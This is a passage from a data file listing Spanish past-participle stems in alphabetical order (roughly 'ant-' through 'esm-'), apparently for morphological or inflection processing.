d","antevist","anticipad","anticuad","antiguad","antojad","antologad","antologizad","antropizad","antropomorfizad","anualizad","anublad","anudad","anulad","anunciad","añadid","añejad","añorad","añublad","añudad","aojad","aovad","apabullad","apacentad","apachad","apachurrad","apaciguad","apadrinad","apagad","apalabrad","apalancad","apalead","apalizad","apanad","apandad","apaniguad","apantallad","apañad","apapachad","aparad","aparatad","aparcad","aparead","aparecid","aparejad","aparentad","apartad","apasionad","apatrullad","apayasad","apead","apechugad","apedazad","apedrad","apedread","apegad","apelad","apellidad","apelmazad","apelotad","apelotonad","apenad","apencad","apercibid","aperrad","aperread","apersonad","apertrechad","aperturad","apesadumbrad","apesarad","apestad","apetecid","apiadad","apilad","apiñad","apiolad","apipad","apisonad","aplacad","aplanad","aplanchad","aplastad","aplatanad","aplaudid","aplazad","aplegad","aplicad","aplomad","apocad","apocopad","apodad","apoderad","apolillad","apoltronad","apoquinad","aporread","aportad","aposentad","apostad","apostatad","apostillad","apostrofad","apoyad","apreciad","aprehendid","apremiad","aprendid","apresad","aprestad","apresurad","apretad","apretujad","apriscad","aprisionad","aprobad","aproblemad","aprontad","apropiad","apropriad","aprovechad","aprovisionad","aproximad","aptad","apuest","apuntad","apuntalad","apuntillad","apuñalad","apurad","aquejad","aquerenciad","aquietad","aquilatad","arabizad","arad","arañad","araucanizad","arbitrad","arbolad","arborizad","archivad","arcillad","ardid","arenad","arengad","argentad","argüendead","argüid","argumentad","arietad","armad","armonizad","aromad","aromatizad","arpegiad","arponad","arponead","arquead","arrabalizad","arracimad","arraigad","arramblad","arramplad","arrancad","arranchad","arrasad","arrastrad","arread","arrebañad","arrebatad","arrebolad","arrebujad","arreciad","arrecid","arredrad","arregazad","arreglad","arrejuntad","arrellanad","arremangad","arrematad","arremedad","arremetid","arremolinad","arrempujad","arrendad","arrepentid","arrestad","arriad","arribad","arriesgad","arrimad","arrinconad","arriostrad","arriscad","arrobad","arrodillad","arrogad","arrojad","arrollad","arromad","arropad","arrostrad","arroyad","arruad","arrugad","arruinad","arrullad","arrumad","arrumbad","articulad","artillad","aruñad","asad","asaetead","asalariad","asaltad","ascendid","asead","asechad","asediad","asegurad","asemejad","asenderead","asentad","asentid","aserrad","aserruchad","asesinad","asesorad","asestad","aseverad","asfaltad","asfixiad","asid","asignad","asilad","asilvestrad","asimilad","asistid","asociad","asolad","asolead","asomad","asombrad","asonantad","asordad","aspad","asperjad","aspirad","asquead","astillad","astreñid","astringid","astriñid","asturianizad","asumid","asustad","atacad","atad","atajad","atalayad","atañid","atarantad","atarazad","ataread","atarragad","atarugad","atascad","ataviad","atemorizad","atemperad","atenacead","atenazad","atendid","atenid","atentad","atenuad","aterid","aterrad","aterrazad","aterrizad","aterrorizad","atesad","atesorad","atestad","atestiguad","atezad","atiborrad","atiesad","atildad","atinad","atirantad","atisbad","atizad","atollad","atolondrad","atomizad","atontad","atorad","atorgad","atormentad","atornillad","atorrad","atosigad","atracad","atragantad","atraíd","atraillad","atrancad","atrapad","atrasad","atravesad","atreguad","atrevid","atribuid","atribulad","atrincherad","atrofiad","atrojad","atronad","atropad","atropellad","atufad","aturad","aturdid","aturrullad","aturullad","atusad","audicionad","auditad","augmentad","augurad","aullad","aumentad","aunad","aupad","aureolad","auscultad","ausentad","auspiciad","autenticad","autentificad","autoabastecid","autoadiestrad","autoadministrad","autoafirmad","autoaislad","autoalimentad","autoanalizad","autoaplicad","autoasignad","autobautizad","autobloquead","autobombead","autocalificad","autocensurad","autocompletad","autoconducid","autoconsiderad","autoconsumid","autoconvocad","autocoronad","autocorregid","autocremad","autodeclarad","autodefendid","autodefinid","autodelatad","autodenominad","autodescartad","autodescript","autodescrit","autodestruid","autodeterminad","autodirigid","autodisuelt","autoeditad","autoeliminad","autoengañad","autoensamblad","autoevacuad","autoevaluad","autoexcluid","autoexigid","autoexiliad","autoexplotad","autofinanciad","autogestionad","autogobernad","autografiad","autoidentificad","autoimpuest","autoinculpad","autoinmolad","autolesionad","autolimitad","automarginad","automatizad","automedicad","automejorad","automutilad","autonombrad","autonomizad","autopagad","autoparodiad","autopreparad","autopresentad","autoproclamad","autoproducid","autoprogramad","autopromocionad","autopropagad","autoprotegid","autopublicad","autoreconocid","autoregulad","autorizad","autorrealizad","autorreconocid","autorregulad","autorreportad","autorreproducid","autorretratad","autosabotead","autotitulad","auxiliad","avalad","avalentad","avalorad","avaluad","avanzad","avasallad","avecinad","avecindad","avellanad","avenid","aventad","aventajad","aventurad","averad","avergonzad","averiad","averiguad","avezad","aviad","avinagrad","avisad","avispad","avistad","avituallad","avivad","avizorad","avocad","avulsionad","ayudad","ayunad","ayuntad","ayustad","azadonad","azafranad","azarad","azogad","azolvad","azorad","azotad","azucarad","azufrad","azulad","azulead","azulejad","azuzad","babead","babosead","bachaquead","bachead","badajead","bailad","bailotead","bajad","bajonead","balacead","balad","balancead","balbucead","balbucid","balcanizad","balconead","baldad","baldead","balead","balizad","balotad","balsead","bambolead","banalizad","bancad","bancarizad","bandead","banderillead","banead","banquetead","bañad","baptizad","baquetead","baquiad","barajad","barajead","baratad","barbad","barbarizad","barbechad","barbotad","barbotead","baremad","barequead","barloventead","barnizad","barrad","barread","barrenad","barretead","barrid","barritad","barruntad","basad","basculad","bastad","bastardead","bastid","bastonead","basuread","batallad","batead","batid","bautizad","baylad","beatificad","bebid","becad","becerread","bendecid","bendit","beneficiad","berread","besad","besucad","besuquead","bichead","bifurcad","bilateralizad","binad","bioacumulad","bioconcentrad","biodegradad","biodiversificad","biofortificad","biografiad","biosintetizad","birlad","bisad","bisbisad","bisecad","biselad","bizcad","bizmad","bizquead","blandead","blandid","blanquead","blanquecid","blasfemad","blasonad","blindad","blocad","blofead","bloguead","bloquead","bobead","bobinad","bochad","bocinad","bofetead","bogad","boicotead","bojad","bojead","bolead","boletead","boletinad","bolivianizad","bolsead","bombardead","bombead","bonificad","bootead","boquead","borbollad","borbotad","borbotead","bordad","bordead","bordonead","borrad","borrajead","borronead","bosad","bosquejad","bostezad","botad","botanizad","botead","botonad","botonead","boxead","boyad","bracead","bramad","brasead","bread","bregad","brezad","bridad","brillad","brincad","brindad","britanizad","brizad","bromead","broncead","brotad","brujulead","bruñid","brutalizad","bucead","buelt","bufad","bufonead","buitread","bulead","bullid","burbujead","burilad","burlad","burocratizad","buscad","buzad","buzonead","bypasead","cabalgad","cabecead","cabestrad","cabestread","cabid","cabildead","cabizbajad","cablead","cablegrafiad","cabrahigad","cabread","cabrestead","cabrillead","cabriolad","cabriolead","çabullid","caçad","cacaread","cachad","cachead","cachetead","cachimbead","cachiporread","cachondead","cachuread","caducad","cafichad","cafichead","cagad","caíd","cairelad","cajonead","calabriad","calad","calafatead","calcad","calcetad","calcificad","calcinad","calculad","caldead","calefaccionad","calefactad","calendarizad","calentad","calibrad","calificad","caligrafiad","callad","callejead","calmad","calumniad","calzad","cambalachad","cambalachead","cambiad","camelad","caminad","camorread","camotead","campad","campanead","campead","campeonad","camuflad","camuflajead","canalizad","cancanead","cancelad","cancerad","candad","candidatad","candidatead","candidatizad","canead","canibalizad","canjead","canonizad","cansad","cantad","cantead","cantinflead","canturread","canturriad","cañonead","caotizad","capacitad","capad","capead","capitalizad","capitanead","capitulad","capolad","capotad","capotead","capsulad","captad","capturad","capuzad","caracolead","caracterizad","caramelizad","caratulad","carbonad","carbonead","carbonizad","carburad","carburizad","carcajead","carcomid","cardad","caread","carecid","carenad","cargad","cariad","caricaturad","caricaturizad","cariciad","carminad","carnavalead","carnavalizad","carnead","carnetizad","carpid","carraspead","carretead","carrilead","carrozad","cartead","cartelizad","carteread","cartografiad","casad","cascabelead","cascad","castañead","castañetead","castellanizad","castigad","castrad","catabolizad","catad","catalanizad","catalizad","catalogad","catapultad","catead","categorizad","catequizad","cativad","catolizad","caucionad","causad","cautelad","cauterizad","cautivad","cavad","cavilad","cazad","cebad","cecead","cedid","cedulad","cegad","cejad","celad","celebrad","cementad","cenad","cencerread","cendrad","censad","censurad","centellad","centellead","centrad","centralizad","centrifugad","centuplicad","ceñid","cepillad","cercad","cercenad","cerchad","cerciorad","cerdead","cernid","cerrad","certificad","cesad","cesantead","cespitad","chachad","chacharead","chacotead","chafad","chafardead","chalad","chamarilead","chambead","champurrad","chamullad","chamuscad","chamuyad","chancead","chancletead","chanelad","changuead","chantajead","chantead","chapad","chapalead","chapead","chapotead","chapucead","chapurrad","chapurread","chapuzad","chaquetead","charlad","charlatanead","charlotead","charolad","charquead","chascad","chasquead","chatead","chavetead","checad","chequead","chicanead","chichad","chicharrad","chicotead","chiflad","chillad","chinchad","chinead","chingad","chinguead","chipead","chiquead","chirlad","chirriad","chismead","chismorread","chismosead","chispad","chispead","chisporrotead","chistad","chivad","chivatead","chocad","chochead","chollad","chopead","choread","chorizad","chorread","chotad","chotead","chufad","chulead","chupad","chupetead","churrascad","churrasquead","churruscad","chusmead","chutad","chuzad","ciad","ciberacosad","cicatrizad","cifrad","cilindrad","cimad","cimblad","cimbrad","cimbread","cimentad","cincelad","cinchad","cinematografiad","cinglad","cintilad","circuid","circulad","circuncidad","circundad","circunferid","circunnavegad","circunscript","circunscrit","circunstanciad","circunvalad","circunvenid","circunvolad","ciscad","citad","ciudadanizad","civilizad","cizallad","cizañad","cizañead","clamad","clamoread","claread","clarificad","clasificad","claudicad","clausurad","clavad","clavetead","clicad","climatizad","cliquead","clocad","clonad","cloquead","clorad","clorinad","cloroformizad","coaccionad","coactuad","coadyuvad","coagulad","coaligad","coanimad","coartad","coauspiciad","cobijad","cobrad","cocead","cocid","cocinad","cocread","codead","codesarrollad","codescubiert","codiciad","codificad","codirigid","coeditad","coescript","coescrit","coestructurad","coevolucionad","coexistid","cofabricad","cofinanciad","cofundad","cogid","cogitad","cogobernad","cohabitad","cohechad","cohesionad","cohibid","cohondid","cohonestad","coimead","coincidid","cojead","colaborad","colad","colapsad","colchad","colead","coleccionad","colectad","colectivizad","colegiad","colegid","coleguead","colgad","colidid","coligad","colimad","colindad","colisionad","colmad","colmatad","colocad","colonizad","colorad","coloread","colorid","coludid","columbrad","columpiad","comadread","comandad","combad","combatid","combinad","comedid","comentad","comenzad","comerciad","comercializad","cometid","comid","comisad","comisariad","comiscad","comisionad","comisquead","compactad","compadecid","compadrad","compadread","compaginad","comparad","comparecid","compartid","compartimentad","compartimentalizad","compasad","compatibilizad","compelid","compendiad","compenetrad","compensad","competid","compilad","compinchad","complacid","complejizad","complementad","completad","complicad","complotad","comportad","compostad","comprad","comprehendid","comprendid","comprimid","comprobad","comprometid","compuest","compulsad","compungid","compurgad","computad","computarizad","computerizad","comulgad","comunicad","comunitarizad","concadenad","concatenad","concebid","concedid","concelebrad","concentrad","conceptuad","conceptualizad","concernid","concertad","concesionad","conchabad","concienciad","concientizad","conciliad","concitad","concluid","concordad","concretad","concretizad","conculcad","concurrid","concursad","condecorad","condenad","condensad","condesad","condescendid","condich","condicionad","condimentad","condolid","condonad","conducid","conectad","conexionad","confabulad","confeccionad","confederad","conferenciad","conferid","confesad","confiad","configurad","confinad","confirmad","confiscad","confitad","conflictuad","confligid","confluid","conformad","confortad","confraternizad","confrontad","confundid","congelad","congeniad","congestionad","conglomerad","congojad","congraciad","congratulad","congregad","conhortad","conjeturad","conjugad","conjuntad","conjurad","conllevad","conmemorad","conmensurad","conminad","conmocionad","conmovid","conmutad","connaturalizad","connotad","conocid","conquistad","consagrad","conseguid","consejad","consensuad","consentid","conservad","considerad","consignad","consistid","consolad","consolidad","consonad","consorciad","conspirad","constad","constatad","constelad","consternad","constipad","constitucionalizad","constituid","constreñid","construid","consultad","consumad","consumid","contabilizad","contactad","contad","contagiad","contaminad","contemplad","contemporizad","contendid","contenid","contentad","contestad","contextuad","contextualizad","continuad","contonead","contornad","contornead","contorsionad","contraargumentad","contraatacad","contrabalancead","contrabandead","contrademandad","contradich","contragolpead","contrahech","contraíd","contraindicad","contramandad","contramarchad","contrapesad","contraprogramad","contrapuest","contrapuntead","contrargumentad","contrariad","contrarrestad","contrastad","contratacad","contratad","contravenid","contribuid","contristad","controlad","controvertid","contundid","conturbad","contusionad","convalecid","convalidad","convencid","convenid","convergid","conversad","convertid","convidad","convivid","convocad","convulsionad","conzederad","cooperad","cooperativizad","cooptad","coordenad","coordinad","coorganizad","copad","copatrocinad","copead","copetead","copiad","copilotad","copresentad","copresidid","coproducid","coprotagonizad","copulad","coquetead","coquificad","corcovead","coread","coreografiad","corlad","corlead","cornead","coronad","corporizad","corregid","correlacionad","correspondid","corresponsabilizad","corretead","corrid","corroborad","corroíd","corrompid","corrugad","cortad","cortejad","cortocircuitad","corvad","coscad","cosechad","cosid","cosificad","cosmetizad","cosquillead","costad","costead","cotejad","cotillead","cotizad","cotorread","crackead","cranead","cread","crecid","creíd","cremad","creosotad","crepitad","crespad","crevad","criad","cribad","criminad","criminalizad","crinad","criogenizad","criopreservad","crismad","crispad","cristalizad","cristianad","cristianizad","cristinead","criticad","croad","cromad","cronificad","cronometrad","crotorad","crotoread","crucificad","crujid","cruzad","cuadrad","cuadriculad","cuadriplicad","cuadruplicad","cuajad","cualificad","cuantificad","cuantizad","cuartead","cuartelad","cuatriplicad","cubanizad","cubicad","cubiert","cubijad","cuchad","cucharead","cuchichead","cuchuchead","cueread","cuerpead","cuestionad","cuetead","cuidad","cuitad","culead","culebread","culiad","culminad","culpabilizad","culpad","cultivad","culturad","culturalizad","culturizad","cumplid","cumplimentad","cumulad","cundid","cunead","cuñad","cuotead","curad","curiosead","currad","currelad","cursad","curtid","curvad","curvead","custodiad","customizad","dactilografiad","dad","damnificad","danzad","dañad","dañinead","darlusad","datad","datead","deambulad","debatid","debelad","debid","debilitad","debitad","debutad","decaíd","decantad","decapad","decapitad","decebid","decelerad","decepcionad","decidid","decimalizad","declamad","declarad","declinad","decodificad","decolad","decolorad","decomisad","decomisionad","deconstruid","decorad","decrecid","decrementad","decretad","decuplad","decuplicad","decusad","dedead","dedicad","deducid","defecad","defeccionad","defendid","defenestrad","defensad","deferid","definid","deflagrad","deflectad","deflorad","defoliad","deforestad","deformad","defosforilad","defraudad","degenerad","deglutid","degollad","degradad","degustad","deificad","dejad","delaminad","delatad","delegad","deleitad","deletread","deleznad","delgazad","deliberad","delimitad","delinead","delinquid","delirad","deludid","demacrad","demandad","demaquillad","demarcad","demarrad","demediad","demeritad","democratizad","demodulad","demolid","demonizad","demorad","demostrad","demudad","denegad","denigrad","denodad","denominad","denostad","denotad","densificad","dentad","dentellead","dentrad","denudad","denunciad","deparad","departid","depauperad","dependid","depilad","deplorad","deportad","depositad","depravad","deprecad","depreciad","depredad","deprimid","depuest","depurad","deputad","derechizad","derelinquid","derivad","derogad","derramad","derrapad","derrelinquid","derrengad","derretid","derribad","derrocad","derrochad","derrot","derrotad","derruid","derrumbad","desabastecid","desabejad","desabotonad","desabrid","desabrigad","desabrochad","desacatad","desacelerad","desacertad","desacomodad","desaconsejad","desacoplad","desacordad","desacostumbrad","desacralizad","desacreditad","desactivad","desactualizad","desaduanizad","desafectad","desafiad","desafilad","desafiliad","desafinad","desaforad","desagotad","desagradad","desagradecid","desagraviad","desagregad","desaguad","desahijad","desahogad","desahuciad","desainad","desairad","desajustad","desalad","desalentad","desalinead","desalinizad","desaliñad","desalmacenad","desalojad","desalquilad","desamad","desamarrad","desambiguad","desamistad","desamortizad","desamparad","desandad","desangrad","desanimad","desanudad","desapalancad","desaparead","desaparecid","desapasionad","desapegad","desaplicad","desaprendid","desaprobad","desaprovechad","desarbolad","desarchivad","desarenad","desarmad","desarraigad","desarreglad","desarrollad","desarropad","desarrugad","desarticulad","desasid","desasnad","desasosegad","desatad","desatascad","desatendid","desatentad","desatinad","desatornillad","desatracad","desatraillad","desatrancad","desautorizad","desavenid","desayunad","desazolvad","desazonad","desballestad","desbancad","desbandad","desbarajustad","desbaratad","desbarrad","desbarrancad","desbastad","desbloquead","desbocad","desbordad","desbotonad","desbravad","desbrozad","descabalgad","descabellad","descabezad","descachad","descachimbad","descaecid","descafeinad","descalabrad","descalibrad","descalificad","descalzad","descambiad","descaminad","descampad","descansad","descapitalizad","descarad","descarapelad","descarbonatad","descarbonizad","descarboxilad","descargad","descarnad","descarriad","descarrilad","descartad","descasad","descascarad","descascarillad","descastad","descatalogad","descendid","descentrad","descentralizad","desceñid","descerebrad","descerrajad","descertificad","deschavad","deschongad","descifrad","desclasad","desclasificad","desclavad","descobijad","descocad","descocid","descodificad","descogid","descogollad","descohesionad","descojonad","descolgad","descollad","descolocad","descolonizad","descombrad","descomedid","descomid","descompensad","descompilad","descompresionad","descomprimid","descompuest","descomulgad","desconcentrad","desconceptuad","desconcertad","desconchad","desconectad","desconfiad","descongelad","descongestionad","desconocid","desconsagrad","desconsiderad","desconsolad","desconsolidad","descontad","descontaminad","descontentad","descontextualizad","descontinuad","descontracturad","descontratad","descontrolad","desconvenid","desconvocad","descoordinad","descorazonad","descorchad","descordad","descornad","descorrid","descortezad","descosid","descostillad","descoyuntad","descreíd","descriminalizad","descript","descrit","descruzad","descuadrad","descuajad","descualificad","descuartizad","descubiert","descuidad","desdeñad","desdibujad","desdich","desdoblad","desdolarizad","desdorad","desdramatizad","desead","desecad","desechad","desembalad","desembalsad","desembarazad","desembarcad","desembargad","desembarrancad","desembocad","desembolsad","desembolsillad","desemborrachad","desembozad","desembragad","desembrollad","desembrujad","desembuchad","desempacad","desempalmad","desempañad","desempaquetad","desempatad","desempedrad","desempeñad","desempolvad","desenamorad","desencabestrad","desencadenad","desencajad","desencallad","desencaminad","desencantad","desencasillad","desencerrad","desenchufad","desenclavad","desencontrad","desencorsetad","desencorvad","desencriptad","desendeudad","desenfadad","desenfardelad","desenfocad","desenfrenad","desenfundad","desenganchad","desengañad","desengrasad","desenlazad","desenmarañad","desenmascarad","desenojad","desenredad","desenrollad","desenroscad","desensamblad","desensibilizad","desensillad","desentendid","desenterrad","desentonad","desentrañad","desentubad","desentumecid","desenvainad","desenvuelt","desequilibrad","desertad","desertificad","desertizad","desescalad","desescolarizad","desescombrad","desesperad","desesperanzad","desestabilizad","desestacionalizad","desestimad","desestimulad","desestresad","desestructurad","desfalcad","desfallecid","desfasad","desfascistizad","desfavorecid","desfigurad","desfilad","desfinanciad","desflecad","desflorad","desfogad","desfondad","desforzad","desfragmentad","desgajad","desganad","desgañitad","desgarrad","desgastad","desglasad","desglosad","desgobernad","desgonzad","desgraciad","desgranad","desgravad","desguanguañad","desguarnecid","desguazad","desgubernamentalizad","desguinzad","deshabilitad","deshabitad","deshabituad","deshebrad","deshech","deshelad","desheredad","deshidratad","deshidrogenizad","deshilachad","deshilad","deshilvanad","deshinchad","deshojad","deshonorad","deshonrad","deshuesad","deshumanizad","deshumidificad","desidentificad","desideologizad","designad","desilusionad","desimpresionad","desimputad","desincentivad","desincorporad","desincronizad","desincrustad","desindustrializad","desinfectad","desinflad","desinflamad","desinformad","desinhibid","desinsectad","desinstalad","desintegrad","desinteresad","desintoxicad","desinvertid","desionizad","desistid","desjarretad","desjudicializad","deslastrad","deslavad","deslazad","deslegitimad","desleíd","deslenguad","desliad","desligad","deslindad","deslizad","deslocalizad","deslomad","deslucid","deslumbrad","deslustrad","desmadejad","desmadrad","desmalezad","desmandad","desmantelad","desmaquillad","desmarcad","desmarimbad","desmasculinizad","desmaterializad","desmayad","desmedid","desmedrad","desmejorad","desmelenad","desmembrad","desmentid","desmenuzad","desmerecid","desmeritad","desmesurad","desmigad","desmigajad","desmilitarizad","desminad","desmitificad","desmochad","desmoldad","desmonetizad","desmontad","desmonterad","desmoralizad","desmoronad","desmotad","desmotivad","desmovilizad","desmuert","desnacid","desnacionalizad","desnatad","desnaturalizad","desnivelad","desnortad","desnucad","desnuclearizad","desnudad","desnutrid","desobedecid","desobligad","desobstruid","desoccidentalizad","desocupad","desodorizad","desoíd","desolad","desoldad","desollad","desorbitad","desordenad","desorejad","desorganizad","desorientad","desornamentad","desosad","desosegad","desovad","desovillad","desoxigenad","despabilad","despachad","despachurrad","despampanad","despanzurrad","desparasitad","desparecid","desparpajad","desparramad","despartidizad","despatarrad","despechad","despedazad","despedid","despegad","despeinad","despejad","despellejad","despelotad","despeluzad","despenad","despenalizad","despeñad","despepitad","desperad","despercudid","desperdiciad","desperdigad","desperecid","desperezad","despersonalizad","despertad","despezad","despicad","despiezad","despilfarrad","despintad","despiojad","despistad","desplantad","desplazad","desplegad","desplomad","desplumad","despoblad","despoetizad","despojad","despolarizad","despolitizad","despollad","despolvad","despolvoread","desportillad","desposad","desposeíd","despotizad","despotricad","despreciad","desprecintad","desprendid","despreocupad","desprestigiad","desprivatizad","desprofesionalizad","desprogramad","desprotegid","desprotonad","desproveíd","desprovist","despuntad","desquebrajad","desquiciad","desquitad","desrabad","desrabotad","desratizad","desregulad","desregularizad","destacad","destapad","destartalad","destazad","destechad","destejid","destellad","destemplad","destendid","destensad","desteñid","desternillad","desterrad","destetad","destilad","destinad","destituid","destocad","destorcid","destornillad","destorvad","destrabad","destrancad","destratad","destrenzad","destrepad","destripad","destrocad","destronad","destroncad","destrozad","destruid","destupid","desturcad","desubicad","desunid","desuscript","desuscrit","desvaíd","desvainad","desvalijad","desvalorizad","desvanecid","desvariad","desvasad","desvelad","desvenad","desvencijad","desventad","desventajad","desventrad","desvertebrad","desvestid","desviad","desvinculad","desvirgad","desvirtuad","desvivid","detallad","detectad","detenid","detentad","detergid","deteriorad","determinad","detestad","detonad","detoxificad","detraíd","deturpad","devaluad","devanad","devastad","develad","devengad","devenid","devid","devisad","devorad","devuelt","dexad","dezmad","diabolizad","diafragmad","diagnosticad","diagonalizad","diagramad","dializad","dialogad","diamantad","dibujad","dich","dicotomizad","dictad","dictaminad","dietad","diezmad","difamad","diferenciad","diferid","dificultad","difractad","difuminad","difundid","digerid","digitad","digitalizad","dignad","dignificad","dilapidad","dilatad","diligenciad","dilucidad","diluid","dimanad","dimensionad","dimerizad","dimidiad","dimisionad","dimitid","dinamitad","dinamizad","diñad","diplomad","dippead","diptongad","diputad","direccionad","dirigid","dirimid","discad","discapacitad","discernid","disciplinad","discontinuad","discordad","discrepad","discretead","discriminad","disculpad","discurrid","discursad","discursead","discutid","disecad","diseccionad","disectad","diseminad","disentid","diseñad","disertad","disfamad","disfrazad","disfrutad","disgregad","disgustad","disimulad","disipad","dislocad","disminuid","disociad","disonad","disparad","disparatad","dispensad","dispensarizad","dispersad","dispuest","disputad","distad","distanciad","distendid","distilad","distinguid","distorsionad","distraíd","distribuid","disturbad","disuadid","disuelt","divagad","divergid","diversificad","divertid","dividid","divinad","divinizad","divisad","divorciad","divulgad","doblad","doblegad","dobletead","doctorad","doctrinad","documentad","dogmatizad","dolad","dolarizad","dolid","domad","domeñad","domesticad","domiciliad","dominad","donad","doñead","dopad","dorad","dormid","dormitad","dosificad","dotad","dovelad","draftead","dragad","dragonead","dramatizad","drapead","drenad","driblad","driblead","drogad","dubdad","duchad","dudad","dulcificad","duplicad","durad","echad","eclipsad","eclosionad","economizad","ecualizad","edificad","editad","editorializad","educad","educid","edulcorad","efectivizad","efectuad","efeminad","eficientad","eficientizad","efundid","egresad","ejecutad","ejecutoriad","ejemplarizad","ejemplificad","ejercid","ejercitad","elaborad","elect","electoralizad","electrificad","electrizad","electrocutad","elegid","elevad","elidid","eligid","elijad","eliminad","elogiad","elongad","elucidad","elucubrad","eludid","eluid","emanad","emancipad","emasculad","embadurnad","embaíd","embalad","embaldosad","embalsad","embalsamad","embanderad","embarazad","embarcad","embargad","embarrad","embarrancad","embarullad","embasad","embastad","embaucad","embaulad","embazad","embebecid","embebid","embejucad","embelecad","embelesad","embellecid","embestid","embetunad","emblanquecid","embobad","embocad","embodegad","embolad","embolizad","embolsad","embolsillad","embonad","emboquillad","emborrachad","emborronad","emboscad","embotad","embotellad","embovedad","embozad","embozalad","embragad","embravecid","embrazad","embread","embretad","embriagad","embridad","embrollad","embromad","embrujad","embrutecid","embuchad","embullad","embustead","embustid","embutid","emendad","emergid","emigrad","emitid","emocionad","empacad","empachad","empadronad","empalad","empalagad","empalidecid","empalizad","empalmad","empanad","empanizad","empantanad","empañad","empapad","empapelad","empapuciad","empapuzad","empaquetad","emparedad","emparejad","emparentad","emparrillad","empastad","empastillad","empatad","empatizad","empavad","empavesad","empecid","empecinad","empedernid","empedrad","empelad","empellad","empellid","empenachad","empeñad","empeorad","empequeñecid","emperad","emperejilad","emperifollad","emperrad","empezad","empiltrad","empinad","empingorotad","empitonad","emplatad","emplazad","emplead","emplomad","emplumad","empobrecid","empoderad","empodrecid","empollad","empolvad","emponzoñad","empotrad","empozad","emprendid","empreñad","emprestad","emproblemad","empujad","empuñad","emputad","emputecid","emulad","emulgid","emulsificad","emulsionad","emungid","enajenad","enalmagrad","enaltecid","enamorad","enamoriscad","enarbolad","enarcad","enardecid","enarenad","enastad","enbiad","encabad","encabalgad","encabestrad","encabezad","encabritad","encabronad","encachimbad","encadenad","encajad","encajonad","encalabozad","encalabrinad","encalad","encallad","encallecid","encalmad","encalzad","encamad","encaminad","encandilad","encanecid","encantad","encañonad","encaperuzad","encapotad","encaprichad","encapsulad","encapuchad","encapuzad","encarad","encaramad","encarcelad","encarecid","encargad","encariñad","encarnad","encarnecid","encarnizad","encarrilad","encartad","encasillad","encasquetad","encasquillad","encastad","encastillad","encastrad","encatusad","encausad","encauzad","encebad","enceguecid","encelad","encenagad","encendid","encenizad","encerad","encerrad","encestad","encetad","enchachad","enchapad","enchapopotad","encharcad","enchilad","enchinad","enchiquerad","enchironad","enchuecad","enchufad","enchuflad","enchulad","encimad","encintad","enclaustrad","enclavad","encofrad","encogid","encolad","encolerizad","encolumnad","encomendad","encomenzad","encomiad","enconad","enconchad","encontrad","encoñad","encopetad","encorajinad","encorazad","encordad","encornudad","encorsetad","encorvad","encostad","encostalad","encrespad","encriptad","encuadernad","encuadrad","encuartelad","encubad","encubertad","encubiert","encuclillad","encuerad","encuestad","enculad","encumbrad","encunetad","encurtid","endechad","endemoniad","enderezad","endeudad","endiablad","endilgad","endiñad","endiosad","endomingad","endosad","endrogad","endulzad","endurecid","enemistad","energizad","enervad","enfadad","enfangad","enfardad","enfatizad","enfebrecid","enfermad","enfervorizad","enfeudad","enfilad","enflacad","enflaquecid","enflorad","enfocad","enforcad","enfoscad","enfrascad","enfrenad","enfrentad","enfriad","enfrontad","enfundad","enfurecid","enfurruñad","engalanad","engalgad","engallad","enganchad","engangrenad","engañad","engarruchad","engarzad","engastad","engatillad","engatusad","engavetad","engendrad","englobad","engolfad","engolondrinad","engolosinad","engomad","engominad","engordad","engranad","engrandad","engrandecid","engrapad","engrasad","engravecid","engreíd","engrillad","engrilletad","engrosad","engrudad","engruesad","engrupid","enguacalad","enguantad","enguatad","enguirnaldad","engullid","enharinad","enhebrad","enherbolad","enhilad","enhornad","enjabonad","enjaezad","enjaguad","enjalbegad","enjalmad","enjambrad","enjaretad","enjaulad","enjoyad","enjuagad","enjugad","enjuiciad","enjuncad","enjutad","enlaciad","enladrillad","enlatad","enlazad","enlentecid","enlenzad","enlistad","enlodad","enloquecid","enlosad","enlozad","enlucid","enlutad","enmaderad","enmadrad","enmallad","enmanillad","enmarañad","enmarcad","enmarrocad","enmascarad","enmasillad","enmendad","enmohecid","enmoquetad","enmudecid","enmugrad","ennegrecid","ennoblecid","enojad","enorgullecid","enquistad","enrabietad","enracimad","enraizad","enramad","enranciad","enrarecid","enrasad","enratonad","enredad","enrejad","enrevesad","enrielad","enripiad","enriquecid","enriscad","enristrad","enrocad","enrojecid","enrolad","enrollad","enronquecid","enroscad","enrostrad","enrubiad","enrumbad","enrutad","ensalzad","ensamblad","ensanchad","ensangrentad","ensañad","ensartad","ensayad","ensebad","ensecad","enseñad","enseñoread","ensillad","ensimismad","ensoberbecid","ensobrad","ensogad","ensombrecid","ensoñad","ensopad","ensordecid","ensortijad","ensuciad","entablad","entablillad","entallad","entapizad","entecad","entendid","entenebrecid","enterad","entercad","enternecid","enterrad","entesad","entibiad","entiesad","entintad","entoldad","entomatad","entonad","entontecid","entorchad","entornad","entorpecid","entortijad","entrabad","entrad","entramad","entrampad","entrañad","entreabiert","entrecerrad","entrechocad","entrecomillad","entrecortad","entrecruzad","entredich","entregad","entrelazad","entremetid","entremezclad","entrenad","entreoíd","entresacad","entretejid","entretenid","entrevenid","entreverad","entrevist","entrevistad","entripad","entristecid","entrojad","entrometid","entronad","entroncad","entronizad","entropezad","entrujad","entubad","entumecid","entunicad","enturbiad","entusiasmad","enumerad","enunciad","envainad","envalentonad","envanecid","envarad","envasad","envejecid","envenenad","envergad","envergonzad","envestid","enviad","enviciad","envidad","envidiad","envigad","envilecid","enviscad","enviudad","envuelt","enyerbad","enyesad","enzacatad","enzarzad","epatad","epitomad","equidistad","equilibrad","equipad","equiparad","equivalid","equivocad","erguid","erigid","erizad","erogad","erosionad","erotizad","errad","erradicad","eructad","erupcionad","esbarad","esbozad","escabechad","escabiad","escabullid","escachad","escaecid","escalad","escaldad","escalentad","escalfad","escalofriad","escalonad","escamad","escamotead","escampad","escanciad","escandalizad","escandid","escanead","escapad","escaquead","escarabajead","escaramuzad","escarapelad","escarbad","escarchad","escardad","escariad","escarificad","escarmenad","escarmentad","escarnecid","escarpad","escasead","escatimad","escavad","escayolad","escenificad","escenografiad","escindid","esclarecid","esclavizad","esclerosad","esclerotizad","escobad","escobillad","escocid","escodad","escofinad","escogid","escolarizad","escoltad","escombrad","escondid","escoplead","escorad","escoriad","escorzad","escotad","escrachad","escript","escrit","escriturad","escrudiñad","escrupulizad","escrutad","escuadrad","escuadronad","escuchad","escudad","escudriñad","esculpid","escupid","escurrid","escusad","esencializad","esfollad","esforzad","esfumad","esgrafiad","esgrimid","esguazad","eslabonad","esleíd","esmaltad","esmerad","esmerilad